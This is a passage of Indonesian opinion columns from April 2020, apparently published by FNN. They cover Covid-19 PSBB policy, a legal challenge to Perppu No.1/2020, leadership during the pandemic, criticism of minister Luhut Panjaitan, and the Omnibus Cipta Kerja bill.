mencegah dari pada mengobati. Bukankah ini jargon rumah sakit? Bukankah tagar ini yang selalu dan selalu digaung-gaungkan oleh Kemenkes? Kenapa tidak berlaku untuk program PSBB? Apakah faktor ekonomi yang lagi-lagi menjadi alas an dan petimbangan? Diberlakukan PSBB sekarang atau tidak, pada akhirnya akan sampai juga pada situasi itu. Hanya soal waktu saja. Pilihannya mau cepat atau terlambat? Mau antisipasi, atau reaksi? Itu saja. Tidak ada plihan yang lain. Sekaranglah saatnya. Semua wilayah mesti terapkan PSBB. Jika mau dibedakan, buatlah klasternya. Klaster A, B dan C misalnya. Masing-masing klaster berbeda dalam menerapkan PSBB. Klaster A untuk wilayah Jabodetabek. Klaster B untuk wilayah kota provinsi. Klaster C untuk wilayah Kabupaten-Kota. Apapun itu, segera menyiapkan langkah-langkah pencegahan, jauh lebih baik dan baik, dari pada menyiapkan hektaran tanah untuk kuburan massal. Jangan sampai itu terjadi. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Alia Laksono, Live Mentoring Bersama Enes Kanter

Oleh M.H Minanan Jakarta, FNN - Dinamika yang berkembang dalam masyarakat akhir-akhir ini, pertanda bahwa perlu adanya instrumen yang dapat digunakan untuk menyamakan persepsi, mindset dan rasa toleransi bersama. Staff Khusus Menteri Pemuda dan Olahraga Republik Indonesia. Alia Noorayu Laksono menyampaikan hal tersebut saat menjadi Pembicara Live Mentoring Idnextleader bersama Atlet NBA asal Turkey (Enes Kanter). Jum'at, 17 April 2020. Dalam pandangan StaffsSus Menpora termuda itu kepada 120 peserta (atlet muda Indonesia) yang telah menyempatkan waktu untuk gabung mengikuti sesi mentoring tersebut. Sampai saat ini, berbagai langkah dan upaya Pemerintah, dalam memutus rantai penyebaran Pandemi Corona Virus Disease 2019 (Covid-19), tengah di upayakan serius. Mari, sama-sama kita membantu pemerintah, Sesuai bidang kita masing-masing. Menurut Alia. Kementerian Pemuda dan Olahraga Republik Indonesia akan selalu hadir untuk mengembangkan potensi dan membina para pemuda agar kelak menjadi individu yang berprestasi. Anak muda yang merupakan atlet maupun non atlet, dapat terinspirasi untuk menggapai impiannya dengan penuh kerja keras dan disiplin yang tinggi sehingga Indonesia dapat mencetak generasi bangsa yang membanggakan tanah air. Dalam acara tersebut Ernes Kanter Player Boston Celtics Basketball. Juga berpesan kepada anak muda untuk investasi di diri kita sendiri selama masa karantina dengan mencoba hal-hal yang belum pernah kita pelajari sebelumnya. Stay Humble, Stay Hungry. Lanjutnya. Hidup Sehat dan Olahraga Jumlah pasien positif terinfeksi Covid-19 secara kumulatif per Jumat (17/4) bertambah menjadi 5.923 kasus. Dari jumlah itu, 607 orang sembuh dan 520 meninggal dunia (CNN Indonesia). Jaga kebersihan dan ketertiban. Bukankah Covid-19 telah mendidik kita agar selalu menjaga kebersihan badan, pakaian, barang dan lingkungan dengan rajin mandi, mencuci tangan, semprot antiseptik dan disinfektan? Jangan lagi abai dan masa bodoh pada anugerah Allah yang melimpah tak terbatas, seperti sinar matahari, tumbuhan yang menyehatkan dll. Perbanyaklah bersyukur atas karunia gratis itu semua. Bukankah Covid-19 telah mendidik kita agar rajin berjemur n OR di pagi hari, rajin minum jahe, sereh, kunyit, lemon dll agar daya tahan tubuh kita lebih kuat? . Tanam dan peliharalah tumbuhan yang memberi manfaat kesehatan. Daya tahan tubuh akan kuat jika selalu berbaik sangka, sabar, syukur, ikhlas dan jujur. Sungguh pelajaran yang luar biasa dari Covid19. Semoga kita semua selalu dalam lindungan Allah SWT dan dijauhkan dari semua musibah dan penyakit. Dan wabah Covid-19 cepat berlalu... Aamiin Allahumma aamiin...

Koalisi Masyarakat Resmi Gugat Perpu No.1/2020 ke MK

By Marwan Batubara Jakarta FNN – Jum’at (17/04). Selasa, 14 April 2020, kelompok masyarakat yang tergabung dalam Koalisi Masyarakat Peduli Kedaulatan (KMPK) telah mengajukan gugatan ke Mahkamah Konstitusi (MK). Permohonan pengujian ke MK terhadap ketentuan sejumlah pasal dalam Peraturan Pemerintah Pengganti Undang-Undang Republik Indonesia Nomor 1 Tahun 2020 Tentang Kebijakan Keuangan Negara Dan Stabilitas Sistem Keuangan Untuk Penanganan Pandemi Corona Virus Disease 2019 (Covid-19). Permohonan itu telah resmi diterima petugas yang bekerja di kantor MK pada Rabu, 15 April 2020. Puluhan pemohon Judicial Review (JR) atas Perppu No.1/2020 berasal dari berbagai elemen masyarakat yang peduli terhadap penyelenggaraan pemerintahan yang sesuai dengan amanat konstitusi. Mereka antara lain Prof. Dr. Din Syamsuddin, Prof. Dr. Sri-Edi Swasono, Prof. Dr. M. Amien Rais, Dr. Marwan Batubara, Drs. M.Hatta Taliwang , KH Agus Solachul Alam (Gus Aam), Dr. MS Ka’ban, Dr. Ahmad Redi, Dr. Abdullah Hehamahua, Adhie M. Massardi, Indra Wardhana, Darmayanto, Rosalina Berlian, dan sejumlah tokoh dan aktivis yang berasal dari berbagai daerah di Indonesia. Adapun para Advokat dan Konsultan Hukum yang berdasarkan surat kuasa khusus bertanggal 13 April 2020 akan bertindak untuk dan atas nama para pemohon. Antara lain Prof. Dr. Syaiful Bakhri, Prof. Dr. Zainal Arifin Hoesein, Dr. Ibnu Sina Chandranegara, Dr. Ahmad Yani, Dr. Dwi Purti Cahyawati, Noor Asyari SH. MH., Dr. Dewi Anggraini, dan lain-lain. Para advokat telah bekerja dengan sangat intens, sehingga dokumen JR atas Perppu No.1 Tahun 2020 telah disampaikan kepada MK dalam waktu yang tidak lama. Dokumen gugatan telah diterima secara resmi oleh Panitra MK pada Selasa tanggal 14 April 2020. Sebagai salah satu pemohon, Prof. Din Syamsuddin mengatakan lahirnya Perppu No.1/2020 di tengah pandemi virus corona tidak punya cantolan konstitusional yang jelas. Tidak juga dikaitkan dengan undang-undang tentang kedaruratan kesehatan, dimana justru pemerintah hampir menerapkan darurat sipil. Ada hal substansial dalam Perppu No.1/2020 yang melanggar amanat kosntitusi, sehingga sangat berbahaya dalam kehidupan berbangsa dan bernegara. Sementara itu Prof. Sri-Edi Swasoso menyampaikan dalam lima tahun terakhir, pemerintah sebenarnya gagal mengelola ekonomi nasional dan mencapai target-target yang dijanjikan. Sebeleum datangnya pandemi corona, bukan saja nilai tukar dollar terhadap rupiah turun jauh di bawah target Rp 10.000 yang dijanjikan, namun malah menjadi sekitar Rp 15.000. Selain itu, jumlah utang meningkat tajam, sebesar Rp 2.600 triliun atau 40%. Target pertumbuhan ekonomi yang dijanjikan 7% pun tidak pernah tercapai. Lantas, melalui Perppu No.1/2020 ini, pemerintahan Jokowi bukan saja ingin menutupi kegagalan tersebut, tetapi bermaksud menjalankan agenda kekuasaan dan rekayasa ekonomi tanpa kendali dengan melebarkan defisit di atas 3%. Menurut Prof. M. Amien Rais, pemerintah mengakui prilaku moral hazard akan menjadi perhatian dalam menjalankan Perppu No.1/2020. Tetapi yang tertulis dalam Pasal 27 justru hal sebaliknya. Dimana disebutkan uang yang dikeluarkan adalah biaya ekonomi bukan kerugian negara. Kebijakan keuangan yang dikeluarkan, juga bukan merupakan objek gugatan di PTUN. Amien Rais mengingatkan, sesuai Pasal 1 UUD 1945, NKRI adalah negara hokum. Kedudukan Perppu itu kedudukan urutan hukumnya berada di bawah konstitusi. Perppu No.1/2020 tidak bisa menihilkan UUD 19145. Moral hazard akan dapat dicegah jika prinsip moral dalam Pancasila dan amanat penegakan hukum dalam UUD 1945 konsisten dijalankan. Dr Ahmad Redi mengatakan Perppu No.1/2020 harusnya hanya fokus pada upaya melindungi segenap bangsa Indonesia dan tumpah darah Indonesia dari ancaman pendemi Covid-19. Tidak ada kegentingan memaksa selain kepentingan pencegahan dan penanganan Covid-19 dalam perppu. Ikhwal ancaman yang membahayakan perekonomian nasional dan/atau stabilitas sistem keuangan dalam Perppu ini merupakan penumpang gelap yang tidak memenuhi kriteria kegentingan memaksa sesuai perintah Pasal 22 UUD 1945. Menjadi modus post pactum yang sangat potensial menjadi komodifikasi abuse of power oleh penguasa. Sedangkan Prof. Syaiful Bahri sebagai kuasa hukum para pemohon menjelaskan, keadaan kegentingan yang memaksa menurut Pasal 22 UUD 1945 dan putusan MK Nomor 138/PUU-VII/2019 hanya terpenuhi dalam hal penanganan Covid-19. Di luar penanganan Covid-19 secara prosesdur. Ancaman yang membahayakan perekonomian nasional, sama sekali tidak ada keadaan kegentingan yang memaksa. Perppu tersebut menjadikan eksekutif dalam arti sempit akan berjalan tanpa kontrol atau melampaui kewenangan yang diamanatkan konstitusi dan UU. Perppu No.1/2020 memangkas tiga kewenangan dari tiga lembaga negara sekaligus. Ia memaparkan Pasal 2 Perppu itu memangkas fungsi pengawasan dan budgeting DPR. Dr Ibnu Sina Chandranegara menambahkan, permohonan pengujian ini dimaksudkan untuk menguji konstitusionalitas produk hukum dalam merespon keadaan darurat yang ternyata memuat ketentuan-ketentuan yang menyimpang dari UU yang ada, seperti Pasal 28 Perppu No.1/2020. Selain itu, menguji norma-norma yang dikesampingkan dalam 12 undang-undang menjadi penting mengingat konsistensi penerapan konstitusionalisme Pasal 1 ayat (3) dan Pasal 27 UUD 1945. Menurut Dr. Ahmad Yani, seluruh norma yang diatur dalam Perppu No.1/2020 terlihat mengada-ada. Dapat dijadikan jalan untuk membenarkan segala tindakan dan kebijakan yang melawan hokum. Juga sekaligus melucuti kewenangan lembaga-lembaga negara seperti DPR, BPK dan Peradilan. DPR, BPK dan Peradilan itu mendapat mandat langsung dari konstitusi UUD 1945. Dengan alas an darurat Covid-19, mau merusak dan mengacak-acak sistem ketatanegaraan yang ada. Sudah baku 75 tahun. Norma yang diatur dalam Perppu tersebut jelas bertentangan dengan konstitusi dan menabrak banyak ketentuan yang khusus dalam undang-undang yang lain. Sebagai salah satu koordinator pemohon, Marwan Batubara meminta agar MK dapat mengadili perkara JR Perppu No.1/2020 dengan jujur, independen, sportif, amanah, bertanggungjawab, terhormat, punya rasa malu, mandiri dan bermartabat. Diharapkan menghasilkan keputusan yang objektif dan adil bagi negara dan seruluh rakyat Indonesia. Sedangkan Hatta Taliwang meyakini, dengan terselenggaranya sidang-sidang di MK untuk mengadili perkara JR ini kelak, rakyat memperoleh pengetahuan dan pencerdasan tentang berbagai hal dan motif busuk dan persekongkolan korporasi besar dengan penguasa dibalik terbitnya Perppu No.1/2020. Penulis adalah Koordinator Pemohon JR ke MK Atas Perppu No. 1 Tahun 2020

Mengukur Kemampuan Pemimpin Di Tengah Covid-19

By Tony Rosyid Jakarta FNN – Jum’at (17/04). Thomas Carlyle membuat teori herois. Dia bilang, “di tangan pemimpin perubahan bangsa itu terjadi. Betapa besar pengaruh seorang pemimpin sehingga takdir bangsa ada di genggaman tangannya”. Pesan moral dari teori Thomas Carlyle adalah, “jangan salah memilih pemimpin. Jika salah, maka perubahan itu akan menuju ke arah yang salah. Pilihlah pemimpin yang benar, agar sebuah bangsa menuju ke arah yang benar”. Bicara soal ini ada tiga kelompok manusia. Pertama, ordinary people. Masyarakat biasa. Orang awam. Kelas rakyat. Di semua negara, kelompok ini paling banyak jumlahnya. "sak karepmu dewe urus negoro, sing penting kerjoku lancar, anak bojoku isih iso mangan sego". Nah, inilah ordinary people. Kedua, eksepsional person. Manusia istimewa. Beda dari yang lain. Kompetensi dan literasinya membuat ia layak menempati posisi sebagai pemimpin. Ia memengaruhi, bukan dipengaruhi. Ia leader, bukan boneka. Dari kata "lead" yang artinya memimpin. Berada di depan. Jadi imam. Ketiga, holder of eksepsional position. Manusia biasa. Tapi karena faktor "x" ia terpilih jadi pemimpin. Mewarisi atau mengambil secara "tidak etis" dari posisi orang-orang yang lebih layak dan memenuhi persyaratan sebagai pemimpin. Anak raja dalam sistem monarki, misalnya. Atau ia pandai bersolek di era demokrasi. "petruk dadi ratu", begitu kata dunia pewayangan. Saat pandemi covid-19 melanda duniasekarang, saecara alami para pemimpin akan terseleksi. Dari yang pemimpin kecil, sampai pemimpin dengan wilayah dan otoritas yang luas. Termasuk pemimpin bangsa dan pemimpin daerah. Dalam situasi normal, seorang pemimpin biasanya baru akan terkoreksi setelah berhenti berkuasa. Saat berkuasa, durasi waktu yang panjang (5-10 tahun), para pemimpin masih bisa menggunakan fasilitas dan kekuasaannya untuk menutup-nutupi karakter dan kapasitas asli dirinya. Mereka bisa saja menekan dan mengancam orang yang kritis, yang ingin membongkar kebobrokan dirinya. Mereka juga bisa sewa buzzer untuk membuat opini yang "selalu baik" tentangnya. Setelah pemimpin itu turun, dan tak berkuasa lagi, fasilitas otomatis berhenti. Semua akan terlihat "apa adanya". Termasuk hasil kerjanya terkoreksi secara terbuka. Akan terlihat ia pahlawan, atau pecundang. Ia pemimpin, atau maling. Para buzzer juga pensiun, karena tak ada lagi yang bisa dipoles. Masa pandemi covid-19, durasi waktunya pendek. Mendadak dan tiba-tiba. Semua orang gagap dan panik. Di sinilah seorang pemimpin akan diuji. Sejauh mana ia punya kompetensi dan narasi dalam menghadapi situasi seperti ini. "Ini dadaku, mana dadamu”? Begitu kata Soekarno. Yang seperti ini namanya pemimpin asli. Bukan pemimpin rakitan. Paling tidak "berjiwa pemimpin". Dengan segala kekurangannya, Soekarno adalah seorang pemimpin yang berkarakter. Selain karakter, pemimpin juga harus berkompeten. Karakter dan kompetensi adalah dua hal yang saling memengaruhi. Saling menopang dan melengkapi. Karakter seorang pemimpin dipengaruhi oleh kempetensinya. Anehnya, nggak kompeten kok jadi pemimpin, berarti nggak berkarakter. Kalau lu punya pemimpin yang "sudah tak berkarakter, tak ada kemampuan lagi", maka kelar hidup lu. Karakter dan kompetensi seorang pemimpin akan terlihat secara terang-benderang ketika ia dihadapkan pada masalah. Covid-19 adalah masalah yang sangat serius. Penyebarannya luar biasa cepat. Tingkat kematiannya tinggi. Rumah sakit dan fasilitas kesehatan sangat terbatas. Masalah lainnya, keuangan negara jugas terancam. APBN-APBD megap-megap. Padahal dampak sosial-ekonominya sangat dahsyat. Kondisi ini akan dapat mengukur karakter dan kompetensi seorang pemimpin. Bagaimana cara mengukurnya? Lihat saja cara ia menghadapi dan menanganinya. Lihat juga keputusan dan kebijakan yang dibuat. Pagi tempe, sore dele nggak? Waktunya teramat singkat. Tak sempat lagi pemimpin bersolek. Buzzer terbatas ruang geraknya. Isu covid-19 begitu cepat dan masif. Second to second. Tak akan tertandingi oleh isu lain. Semua akan fokus melihat isu ini. Juga melihat bagaimana pemimpin mereka menyelesaikannya. Dari kasus covid-19, akan terlihat dengan nyata dan jelas. Mana pemimpin yang berkompeten, dan mana yang tak berkompeten? Ia eksepsional person, atau holder of eksepsional position? Ia pemimpin asli, atau hanya bonek?. Kompetensi pemimpin seperti ini berlaku di semua negara. Dari mana melihatnya? Pertama, sejauhmana seorang pemimpin memahami masalah. Ini hal yang paling mendasar dan prinsip. Kalau nggak tahu masalah, bagaimana mungkin ia bisa menyelesaikan? Salah satunya bisa dilihat dari informasi dan narasinya. Sesuai fakta, atau bertentangan? Kedua, bagaimana perencanaan dan langkah antisipasi yang disiapkan pemimpin tersebut? Cenderung cepat atau lambat? Serius, atau sekedarnya saja? Ini soal komitmen. Rakyat pasti membacanya. Ketiga, terukur tidak program dan tindakan yang dilakukan pemimpin tersebut. Baik pada saat proses maupun hasilnya. Berapa perhari bisa menekan angka terinveksi? menambah angka orang yang sembuh dan memperkecil tingkat kematian. Semua mesti terkalkulasi. Dengan upaya mitigasi, kapan pandemi ini akan berakhir. Ini juga mesti terprediksi. Sehingga ada kepastian terhadap masa depan. Keempat, bagaimana kemampuan pemimpin menggerakkan dan mengkonsolidasikan semua kekuatan dan potensi di bawah otoritasnya. Sinergi bawahan ada di tangan pemimpin. Kalau bawahan jalan sendiri-sendiri, bahkan malah bertabrakan, ini indikator bahwa kepemimpinannya nggak jalan. Kelima, bagaimana seorang pemimpin itu bisa ikut merasakan apa yang dirasakan rakyatnya. Ada empati yang bisa dirasakan oleh mereka yang kehilangan keluarganya nggak? Ada emosi yang menyentuh perasaan para dokter yang koleganya berguguran nggak? Lima hal ini akan menjadi seleksi alam. Apakah para pemimpin itu eksepsional person, sungguh-sungguh seorang pemimpin, atau holder of eksepsional position, para pemimpin pajangan semata? Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Luhut Panjaitan Sama dengan Trump, "Tidak Punya Empati"

Oleh : Tjahja Gunawan Jakarta FNN - Rabu (15/04). Seru juga menyaksikan perdebatan seru antara wartawan yang ngepos di White House dengan Presiden AS Donald Trump dalam tayangan di CNN Internasional, belum lama ini. Di tengah wabah Covid19, wartawan tetap datang ke Gedung Putih menunaikan tugasnya mengabarkan informasi kepada khalayak luas. Saat ini orang yang paling dibenci rakyat Amerika adalah Presidennya sendiri. Betapa tidak, Trump tetap memaksakan keinginannya untuk membuka kembali semua kegiatan ekonomi dan bisnis sebelum 1 Mei 2020. Suara Trump ini berseberangan dengan aspirasi dan suara para gubernur negara bagian di AS yg menghendaki agar status keadaan darurat atau pembatasan kegiatan masyarakat masih tetap diberlakukan untuk mengurangi dampak penularan Covid19. Jumlah warga AS yang meninggal akibat Covid19 terus bertambah. Menurut data CNN Internasional, Rabu malam waktu Jakarta (pagi hari waktu AS), warga AS yg meninggal berjumlah 26.119 orang. Penduduk New York paling banyak yang meninggal akibat Virus Corona. Oleh karena itu Gubernur New York Andrew M. Cuomo selalu memberikan update info yang disiarkan secara langsung di CNN Internasional dan FOX News. Kata Cuomo, dalam 24 jam sebanyak 752 orang NY mati akibat Covid19. Berbeda dengan keprihatinan warga dan sejumlah gubernur negara bagian, Donald Trump justru mengutamakan bisnis, bisnis dan bisnis dan cenderung mengabaikan dan menganggap enteng terhadap ancaman kesehatan dan ancaman kematian massal rakyatnya. Bagaimana dengan Indonesia ? Berdasarkan data yang dirilis Gugus Tugas Percepatan Penangan Covid19, Rabu (15/4), kasus pasien positif Covid-19 bertambah 297 kasus, total menjadi 5.136 kasus. Sebanyak 20 pasien dinyatakan sembuh dan 9 orang meninggal dunia, total 446 pasien sembuh dan 468 orang meninggal dunia. Dari 33.001 spesimen diterima, tercatat 27.865 kasus negatif corona. Jumlah ODP tercatat sebanyak 165.549 orang dan jumlah PDP tercatat sebanyak 11.165 orang. Di tengah peningkatan jumlah korban Covid19, masih ada pejabat pemerintah yang mengeluarkan kontraproduktif bahkan menyakiti hati dan perasaan masyarakat. Seperti diberitakan berbagai media, Menko Maritim dan Investasi Luhut Binsar Panjaitan menganggap masih kecil jumlah orang Indonesia yang meninggal akibat Convid19. "Buat saya tanda tanya jumlah meninggal itu gak sampai 500 (orang). Padahal jumlah penduduk 270 juta. Infected 4.000-an lebih. Katakan itu kali 10 itu 50 ribu," ujar Luhut sebagaimana dikutip Detik.com. Ucapan Luhut ini juga diberitakan media mainstream lainnya karena dia sengaja mengadakan jumpa pers melalui video conference. Di tengah wabah pendemi global ini, Luhut berulang kali membuat pernyataan yang menyakitkan masyarakat. Seharusnya dalam situasi seperti sekarang para pejabat negara mengeluarkan kata dan pernyataan yang menyejukkan dan menenangkan. Serta memberikan rasa aman dan kepastian untuk rakyat Indonesia. Saat ini rakyat butuh kerja sama untuk menangani wabah Virus Corona. Pejabat negara sebaiknya menghentikan pernyataan yang tidak etis dan akhirnya bisa memicu perdebatan maupun pertentangan publik. Alih-alih negara melindungi rakyat Indonesia sebagaimana diamanatkan dalam konstitusi, ini pejabat negara seperti Luhut Binsar Panjaitan menebarkan pernyataan provokatif yang menyakiti perasaan masyarakat. "Pernyataan itu seakan tidak menyisakan empati dan simpati kepada keluarga korban. Belum lagi, ada puluhan dokter dan tenaga medis yang juga meninggal. Kasihan keluarganya jika mendengar pernyataan seperti ini," kata Saleh Partaonan Daulay, anggota DPR RI Fraksi PAN, sebagaimana dikutip portal berita Liputan6. Kritik serupa disampaikan politikus PKS yang juga mantan Menteri Komunikasi dan Informatika, Tifatul Sembiring. Menurut Tifatul, tidak selayaknya Luhut menyampaikan pernyataan seperti itu sebab yang diucapkannya itu menyangkut nyawa manusia. "Tapi ini kan nyawa manusia, bang. Manusia Indonesia. Abang nggak bisa lihat dari sisi statistiknya saja. Ini bukan bisnis bang," kata Tifatul dalam akun Twitternya, Rabu (15/4). Jika diamati sepintas, ada kemiripan pernyataan antara Luhut Binsar Panjaitan dengan Donald Trump. Keduanya sama sekali tidak mempunyai empati. Selama wabah global ini berlangsung, keduanya cenderung mengabaikan faktor nyawa manusia dan lebih mengedepankan urusan bisnis dan ekonomi. Trump ngotot untuk menghidupkan kembali semua kegiatan bisnis dan usaha, demikian juga Luhut sangat permisif dengan kedatangan ratusan TKA dari China yang mengerjakan proyek di Sulawesi. Padahal, sumber penyebaran virus Covid19 berasal dari China. Seandainya Luhut mau diajak berdebat seperti Presiden AS, Donald Trump, saya sangat berminat untuk mendaftar sebagai mantan wartawan Istana Kepresidenan di era Presiden Gus Dur. Jika menyaksikan perdebatan dengan Donald Trump, wartawan Gedung Putih dengan sengit mengritik dan mengajukan pertanyaan kritis dan tajam kepada Trump. Dan Sang Presiden pun melayani pertanyaan kritis dengan ucapan-ucapan yang juga tidak kalah seru. Editor BBC untuk Amerika Utara, Jon Sopel melukiskan Presiden Donald Trump membuat konferensi pers yang "paling membuat mulut menganga, mata terbelalak dan kepala pusing" pada Senin petang waktu setempat. Dalam jumpa pers ini, Trump mengklaim memiliki kewenangan "penuh" untuk mencabut kebijakan karantina wilayah atau lockdown tingkat nasional, yang bertentangan dengan sikap para gubernur dan pakar hukum. "Presiden AS memiliki kekuatan penuh untuk melakukannya," kata Trump dalam jumpa pers di Gedung Putih, yang diwarnai perdebatan dengan para jurnalis. Namun demikian menurut Konstitusi AS, negara bagian memiliki hak untuk menjaga ketertiban dan keamanan publik. Trump kerap memanfaatkan konferensi pers harian di Gedung Putih untuk menyerang media. Sebuah jaringan televisi menyebut konferensi pers pada Senin petang tersebut sebagai reaksi paling berlebihan yang pernah ditujukan oleh seorang Presiden AS. Donald Trump masuk ke ruangan dengan sejumlah isu yang perlu dia selesaikan dengan media, kata wartawan BBC Jon Sopel yang meliput di Gedung Putih. "Bukan tentang jumlah yang meninggal, yang sakit parah, orang yang takut tertular virus. Tapi (jumpa pers ini) tentang dia. Khususnya terkait kekesalannya terhadap media yang kritis atas penanganan pemerintahan AS terkait Covid-19," tulis Sopel. Di Indonesia , jika saya kilas balik ke era Presiden Gus Dur, ketika itu Presiden secara rutin juga mengadakan press meeting. Gus Dur sengaja membuat forum tanya jawab langsung antara dirinya dengan para wartawan yang bertugas di Istana Kepresidenan. Ketika itu sekitar tahun 2001, Gus Dur pernah marah dengan pertanyaan seorang wartawan yang menanyakan aksi Pro Gus Dur yang melakukan sejumlah demo bahkan sebagian melakukan perusakan di Kota Surabaya, Jawa Timur. Di era Gus Dur, media massa memang banyak menyerang dan mengritik pemerintahan Gus Dur karena dinilai banyak membuat pernyataan kontroversial serta pemecatan terhadap sejumlah menteri. Diantara menteri yang pernah dipecat Gus Dur adalah Menperindag Jusuf Kalla dan Menhakam/Pangab Wiranto. Setelah memecat JK, Gus Dur kemudian mengangkat Luhut Binsar Panjaitan sebagai Menteri Perindustrian dan Perdagangan. Dulu di era Gus Dur, Menperindag Luhut Panjaitan lebih banyak "diam" dan tidak banyak berperan seperti sekarang. Sebelum jadi Menperindag, posisi Luhut sebagai Dubes RI di Singapura. Kembali kepada usulan adu debat antara wartawan dengan Luhut Panjaitan menyangkut percepatan penanganan Covid19, kemungkinan akan banyak media yang berminat mengirimkan wartawannya. Kok bukan dengan Presiden Joko Widodo seperti debat di AS dengan Presiden Donald Trump? Bukankah The Real Presiden' Indonesia Luhut Binsar Panjaitan? Wallohu a'lam bhisawab. Penulis Wartawan Senior

Presiden Disandra Korporasi Besar?

Kita banyak sekali berhutang budi pada hari-hari awal itu kepada keberanian dan inspirasi Winston Churcill. Yang tanpa rasa gentar menghadapi kesulitan dan kerugian, memberikan contoh yang menular kepada rekan-rekannya, yang tidak seperti dia banyak memikirkan, kalau memang memikirkan masalah perang (Maurice Hankee, Sekertaris Kabinet Churchill). By Margarito Kamis Jakarta FNN – Rabu (15/04). Presiden beberapa hari lalu, mengirim orang-orangnya. Yang dikirim menteri, untuk bersama-sama DPR membahas Rancangan-Undang-Undang Omnibus Cipta Kerja. Kecuali Demokrat, Partai Keadilan Sejahtera (PKS) dan Gerindra. Partai-partai yang lain terlihat lebih dari jelas, menari dalam gairah yang sama dengan Presiden. RUU ini, tidak jatuh dari langit. RUU ini datang dari Presiden. Sangat hebat RUU ini. Aransemennya asyik bangat. Itu mengakibatkan RUU ini menyuguhkan efek musikalitas reage yang mengasyikan. Yang memungkinkan DPR menari sepanjang waktu. Lirik dan nadanya (pasal-pasal) begitu tepat dilantunkan dalam suasana sekarang. Tidakkah sekarang sedang krisis corona yang memerlukan penanganan? Bisa apa rakyat terhadap korporasi? Mau apa bangsa besar ini terhadap politik? Kedaulatan rakyat? Pemilu telah megalihkan sebagian besar kekuasaan itu kepada Presiden dan DPR. Rakyat tak lagi mempunyai kekuasaan apapun setelah pemilu usai. Presiden dan DPR yang paling berkuasa. Mereka yang paling benar mendefenisikan hitam-putih bangsa ini. Politik tak selalu tahu tentang hal jorok, jijik dan sejenisnya. Tidak. Jorok, jijik dan sejenisnya itu, terlalu rumit untuk dibincangkan dalam politik. Itu hanya indah dan manis, semanis madu dalam filsafat. Politik harian hanya berputar di sekitar siapa dapat apa? Kini atau esok? Di sini atau di sana? Omnibus Law Dibahas Selalu begitu dalam politik liberal kapitalistik. Politik ini teranyam rumit dalam urusan siapa dapat apa? Bagaimana dan seterusnya? Agar semua yang diperoleh mengandung elemen legitim, maka harus diberi bentuk hukum. Diatur dalam produk bernama undang-undang (UU). Begitu politik bekerja melahirkan hukum-hukum baru, untuk kepentingan-kepentingan praktis, yang satu dan lainnya saling terkait. Postur kerja politik yang menghasilkan UU. Apapun sifat dan substansinya, kelak dikenal dengan politik hukum. Ilmu ini bukan hukum. Ilmu ini bekerja dengan lensa diskriptif. Dengan lensa ini, hukum tidak akan terlihat sebagai cara terbaik. Namun tercanggih menyembunyikan pernak-pernik kepentingan partisan. Lensa diskriptif dapat keluar dengan segala macam gambar. Itulah kehebatan lensa diskriptif ini. Begitulah bawaan alamiah politik dan hukum liberal kapitalistik. Kritikan beralasan berbagai kalangan atas pasal-pasal RUU paling binasa ini, namun akan dilihat hanya sebagai salah satu gambar. Gambar yang lainnya bisa lebih indah, sesuai ritme musikalitasnya. Politik tidak menyediakan politisi yang dapat dengan cepat mengenal kesahalan. Cukup hanya dengan politisi yang sedang-sedang saja. Yang sering terperangkap dalam banyak urusan, baik maupun buruk. Bagi politisi sedang-sedang saja, dunia terlalu luas untuk cepat mengenal kelemahan, apalagi kesalahan. Apa yang dilihat salah pada hari ini, kata mereka, bisa jadi akan menjadi hal benar pada saat lain. Politisi sedang-sedang saja selalu merupakan gudang terbesar dari sikap yang mencla-mencle. Tapi pesan saya jangan pernah bilang Pak Presiden, Pak Jokowi, dalam sejumlah aspek politik RUU ini sebagai yang mencla-mencle itu. Sejauh ini tidak terlihat pernyataan darinya yang satu dan lainnya saling menyangkal. Yang terlihat malah konsisten dan konsisten. Kalau tak salah, Pak Presiden bahkan menghendaki agar RUU ini bisa cepat selesai pembahasannya di DPR. Konsistensi Pak Presiden itu kini sedang bekerja. Saat ini, di tengah gempuran Corona, RUU yang dalam analisis berbagai kalangan lebih mewakili, bahkan menguntungkan korporasi itu, sedang dibahas. Boleh jadi pembahasannya akan sangat produktif. Bisa cepat selesai dalam wektu dekat. Bisa segera menjadi UU. Menjadi hukum positif yang berlaku bagi semua warga untuk patuh dan tunduk kepadanya. Bagaimana dengan Demokrat, Gerindra dan PKS yang pada hari-hari ini terlihat mengambil jalan berbeda? Yang terlihat jinak atas pembahasan RUU ini? Sejinak apapun sikap mereka saat ini, Demokrat, PKS dan Gerindra telah muncul menjadi bukan hanya penyeimbang. Namun hanya menyuguhkan “sisi manis” dalam kehidupan bernegara kita. Mereka, paling tidak telah “mengintrupsi” potensi besar DPR telah beralih fungsi menjadi, (meminjam diskripsi Kisman Latumakulita, jurnalis senior asal Ambon Manise itu) “Kantor Cabang Presiden”. Dalam perspektif saya, sikap tiga partai ini sama dengan “menginterupsi” menginjak pedal rem untuk memperlambat pontensi laju Presiden muncul menjadi “center of legislative policy”. Sikap ini bagus. Juga sehat. Soalnya, apakah tiga partai ini memiliki kemampuan untuk nyaman dengan sikapnya itu? Konsisten selalu menjadi perkara yang paling sulit diminta kepada partai politik. Itu persoalan paling besarnya. Tetapi harus diakui juga, dimana-mana politik selalu menyediaan kemungkinan untuk berpindah dari satu sikap ke sikap lain, yang bisa saja berbeda. Mungkin bisa konsisten pada satu hal. Namun bisa berubah sikap pada hal lain. Sikap seperti ini telah menjadi panorama kehidupan politik yang menarik dan wajar. Winston Churcill menunjukan dengan sangat jelas sebagai politisi yang paling cepat berubah di tengah konsistensinya. Churcill hanya konsisten pada tujuan. Bila terjadi perubahan fakta, dan perubahan itu teridentifikasi mengacaukan tujuannya, maka Churclill akan mengubah keputusannya. Berubah untuk mendekatkan dirinya pada tujuan awal. RUU Cipta Kerja, yang terlalu sulit dimengerti dengan akal sehat itu, sedari awal tidak dikreasikan sebagai bagian dari skenario penanganan corona. Benar-benar tidak. Skenarionya adalah “menggairahkan iklim investasi.” Ini skenario untuk keadaan yang normal. Investasi adalah pekerjaan para investor dan korporasi. Stimulus Terbesar Untuk Korporasi Impian itu terlihat tak mau dibiarkan jadi kenangan yang disesali, hanya karena corona menggempur Indonesia. Malah terlihat corona justru menjadi amunisi baru untuk mempercepat RUU ini. Hipotesisnya begini, ekonomi ambruk, dan harus diperbaiki. Dalam rangka memperbaikinya, diperlukan berbagai kebijakan. Kelak RUU yang cilaka ini bakal tersaji sebagai salah satu insentif terhebat. Terkesan sepertinya diperlukan mengobati dampak 